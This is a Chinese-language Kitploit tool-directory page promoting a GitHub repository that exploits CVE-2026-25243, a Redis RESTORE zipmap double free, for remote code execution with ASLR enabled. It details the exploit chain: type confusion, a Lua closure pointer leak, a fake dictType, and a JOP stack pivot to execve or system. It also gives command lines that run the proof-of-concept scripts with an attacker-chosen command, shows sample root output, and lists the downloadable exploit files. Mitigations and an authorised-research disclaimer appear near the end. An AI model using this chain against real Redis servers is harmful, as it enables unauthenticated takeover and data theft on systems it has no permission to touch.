Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-25243 — CVE-2026-25243 — Redis RESTORE zipmap 双重释放 → 远程代码执行 (ASLR 开启)。 | Kitploit
工具/GitHubGitHub/dinosn/cve-2026-25243
内存取证漏洞分析漏洞利用逆向工程渗透测试远程访问工具Payload 开发二进制利用
GitHubdinosn/cve-2026-25243

CVE-2026-25243

CVE-2026-25243 — Redis RESTORE zipmap 双重释放 → 远程代码执行 (ASLR 开启)。

查看仓库
1342个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-25243 — Redis RESTORE zipmap 双重释放 → 远程代码执行

TL;DR. 一个畸形的 DUMP 载荷传递给 RESTORE 会触发 Redis 传统哈希 zipmap 加载器中的堆双重释放。在默认的 jemalloc 下,该双重释放是静默的(服务器继续运行),从而将其转化为可控的类型混淆原语。本仓库利用此原语实现了在启用 ASLR 的情况下远程代码执行 —— Redis worker 调用 system("<attacker string>") 并保持服务。不是 DoS。

root@kitploit:~
# 默认 Redis(DEBUG 禁用),ASLR 开启 —— 最自包含的利用(无 libc 偏移量):
$ python3 exploits/poc_rce_aslr_pie_rop.py --cmd "id > /tmp/pwned_pie 2>&1"
[*] self-cal: blob_base=0x7f352d800009 blob_robj=0x7f353286b8d8 pie_base=0x557ea9149000  (NO libc)
[*] fake dictType F=0x7f352e013c36  g1=0x557ea93cca87 execve=0x557ea91cee80
$ cat /tmp/pwned_pie
uid=0(root) gid=0(root) groups=0(root),...    # <- 以 Redis 进程身份执行 execve("/bin/sh","-c",<cmd>)

实现 ASLR 绕过所需的泄露不使用 DEBUG —— 它读取 redis.call Lua C-closure 地址(EVAL 'return tostring(redis.call)'),与我们之前的 Redis 利用一样采用自包含、无 DEBUG 的技术。blob_base/blob_robj 以及 PIE 基址随后在运行时从越界读取中推导得出(无固定偏移量)。PIE-ROP 完成通过 JOP 栈迁移调用 execve@plt,因此不涉及任何 libc 地址 —— 唯一的构建相关常量是 PIE 相对的小工具偏移量,这些偏移量来自 redis-server 二进制文件,与我们之前 HLL 利用的每个构建小工具表完全相同。已验证 uid=0(root),ASLR 开启,8/8,运行于默认 DEBUG 禁用的服务器。

提供两种完成方式。poc_rce_aslr_pie_rop.py(如上)最为自包含 —— 无 libc,完全自校准 —— 但 execve 替换了 worker(使用反弹 shell --cmd;最适合获取真正 shell)。poc_rce_aslr_selfcal.py 保持 worker 存活(system() 分叉),代价是需要两个 libc 版本偏移量。根据是否需要服务器存活来选择。


漏洞

RESTORE key 0 <DUMP-payload> 反序列化一个序列化对象。对于传统 RDB_TYPE_HASH_ZIPMAP(0x09)类型,验证器和转换器在长度字段占用的字节数上存在分歧:

  • zipmapValidateIntegrity() 使用实际编码大小(对于过长的 0xFE 前缀,为 5 字节);
  • zipmapNext() 在 zipmap → listpack 转换过程中,对于任何解码长度 < 254 只使用 1 字节。

一个以过长 5 字节形式写入的短长度通过了验证,但导致 zipmapNext() 偏移 4 字节。同一个偏移错误导致两个后果:堆越界读取(zipmap.c)以及在 Redis 中独有的堆双重释放(rdb.c 哈希 zipmap 加载器):

root@kitploit:~
sds field = sdstrynewlen(fstr, flen);
if (!field || dictAdd(dupSearchDict, field, NULL) != DICT_OK || !lpSafeToAdd(lp, flen + vlen)) {
    dictRelease(dupSearchDict);   // (1) dictAdd 取得了 `field` 所有权 -> 在此释放
    sdsfree(field);               // (2) 再次释放 -> 双重释放

Valkey 对此有防护(if (!field_added) sdsfree(field));上游 Redis 没有,因此双重释放仅出现在 Redis 中。修复方案是拒绝过长编码的短长度并重新安排加载时检查的顺序。

利用链(Redis 8.6.2,x86-64,jemalloc,PIE/NX/partial-RELRO)

root@kitploit:~
静默双重释放  ->  类型混淆重叠  ->  任意指针伪造
   ->  将哈希表 hash 的 dict->type 伪造为假 dictType
   ->  HGET hd "<field>"   ==   dictFind -> type->hashFunction(field)
      libc 路径(selfcal):hashFunction = &system            -> system("<cmd>")   (worker 存活)
      PIE 路径(pie_rop):hashFunction = JOP 栈迁移 g1, field = ROP 链
                            -> leave;ret 将 rsp 迁移到 field 上
                            -> 通过 execve@plt 执行 execve("/bin/sh","-c","<cmd>")        (无 libc,无 DEBUG)

假 dictType 被放置在一个 16 MB 字符串(SETRANGE)中,其偏移量的地址低位与攻击者字符串的 sds 头部相匹配。ASLR 完全在运行时被绕过:

  • system —— 单次堆指针泄露。推荐路径是无 DEBUG:redis.call Lua C-closure 的地址(EVAL 'return tostring(redis.call)')—— 与我们之前的 Redis 利用相同的自包含泄露。jemalloc 的 arena 位于距离 libc 一个恒定偏移量处,因此 system = leaked_robj + Δlibc + system_off。(只有当脚本功能被禁用但 DEBUG 启用时,DEBUG OBJECT 才作为实验室便利存在 —— 这是更罕见的配置。)
  • 16 MB blob 的地址(一个独立随机化的 mmap)—— 通过漏洞自身的任意读取来获取:伪造一个 SET 的 dict,使其成员是一个 107 KB 的 SDS_TYPE_32 sds,SMEMBERS 会越界读取相邻堆,并且 blob 的 robj.ptr 可以在其已知偏移量处被读取。

参见 WRITEUP.md 以获取完整的原语逐项分析和来之不易的 jemalloc / Redis-8.x 细节(class-64 边界、dict 条目标记、哈希字段 mstr、键空间预增长)。

实验室

root@kitploit:~
docker build -t cve-2026-25243 .
# 默认(jemalloc)演示 —— DoS 与否?显示类型混淆(无需工具):
docker run --rm -p 6379:6379 cve-2026-25243

# 完整链 —— 默认配置(DEBUG 禁用),推荐利用:
sysctl -w kernel.randomize_va_space=2            # ASLR 开启
redis-server &                                   # DEBUG 默认关闭
python3 exploits/poc_rce_aslr_selfcal.py --host 127.0.0.1 --port 6379 --cmd "id > /tmp/pwned 2>&1"

绕过 ASLR 的泄露(无 DEBUG)

引导堆指针泄露采用与我们之前 Redis 利用相同的方法:使用 EVAL 'return tostring(redis.call)' 泄露 redis.call Lua C-closure 地址。Lua 脚本功能默认开启;DEBUG 默认关闭(enable-debug-command no)—— 因此 Lua 泄露是实际场景下的主要方式,而 DEBUG OBJECT(poc_rce_aslr.py)仅作为实验室便利。随后 poc_rce_aslr_selfcal.py 在运行时从越界读取中推导 blob_base 和 blob_robj(扫描 16 MB blob robj 签名),因此 DLUA/DFOBJ 只需要接近即可。

对于 system 完成方式,小堆越界读取中不包含任何 libc 指针,因此 libc 无法自我推导 —— poc_rce_aslr_selfcal.py 保留了两个 libc 版本偏移量(DLIBC、SYSTEM_OFF)。poc_rce_aslr_pie_rop.py 完成方式完全消除了这一依赖:相同的越界读取确实携带了 PIE 指针(一个共享的 dictType 反复出现),因此 PIE 基址被自校准为 most-common-PIE-value − DICTTYPE_OFF,并且链以 execve@plt 通过 JOP 栈迁移结束(mov rbp,rdi; call *0x8(rax) → leave;ret 将 rsp 迁移到攻击者控制的 HGET 字段上,该字段就是 execve("/bin/sh","-c",<cmd>) ROP 链)。唯一的构建相关常量是 PIE 相对的小工具偏移量,这些偏移量从 redis-server 中提取 —— 使用 / 针对每个目标提取,就像我们之前的 HLL 利用为每个 ELF Build-ID 保留一个小工具表一样。没有使用任何 libc 地址。

截图

screenshots/05-pie-rop-libc-free.png(NO libc 自校准 + uid=0,最自包含的运行),01-rce-aslr-on.png(uid=0 的钱景图),02-reliability.png(5/5),03-exploit-chain.png(代码),以及 04-debug-free-selfcal.png(在默认 Redis 上运行 DEBUG 禁用、自校准 system 的结果)。

影响与受影响版本

  • 远程,无需特殊权限。 RESTORE 是一个普通命令 —— 在未经认证/暴露的 Redis(无 requirepass)上,任何连接的客户端都可以执行;在已认证的实例上,任何没有 ACL -restore 拒绝的用户均可执行。与用于其他 Redis RCE 的数据结构命令具有相同的访问配置文件。
  • 已验证:静默堆双重释放、类型混淆、任意进程内存读取(泄露密钥/秘密/指针的信息泄露)以及远程代码执行(本仓库)。
  • 受影响版本:Redis < {6.2.22, 7.2.14, 7.4.9, 8.2.6, 8.4.3, 8.6.3} —— 即从 6.2.x 到当前 8.x;Valkey 仅存在 DoS/越界读取(其 field_added 防护阻止了双重释放)。

缓解措施

升级到已修复版本。如果无法升级:限制 RESTORE(ACL … -restore),切勿将 Redis 以未认证方式暴露,并禁用 DEBUG。


授权安全研究,为防御者认知而发布。请勿对不属于您或未获得明确许可的系统运行。

下载工具
文件演示内容
★ exploits/poc_rce_aslr_pie_rop.py最自包含 —— 在默认 Redis(DEBUG 关闭)上实现 RCE,无 libc 偏移量;自校准 blob_base/blob_robj/pie_base;通过 JOP 栈迁移执行 execve@plt(worker 被替换)。8/8。
★ exploits/poc_rce_aslr_selfcal.pyworker 存活 —— 相同链但 hashFunction=&system(分叉);需要两个 libc 版本偏移量(DLIBC/SYSTEM_OFF)。Lua-closure 泄露,自校准 blob_base/blob_robj。
exploits/poc_rce_aslr_nodebug.py无 DEBUG(Lua 泄露),但使用固定偏移量(在 DEBUG 开启下校准)
exploits/poc_rce_aslr.py实验室便利变种:使用 DEBUG OBJECT 引导泄露(需要启用 DEBUG)
exploits/poc_rce_aslr_off.pyASLR 关闭时的 RCE(校准地址)
exploits/poc_typeconfusion.py双重释放 → 两个键共享同一堆缓冲区(无需工具)
exploits/poc_doublefree.py双重释放(ASan:在 sdsfree 中检测到堆释放后使用)
exploits/poc_dos_overread.py越界读取崩溃(ASan)
ROPgadget
objdump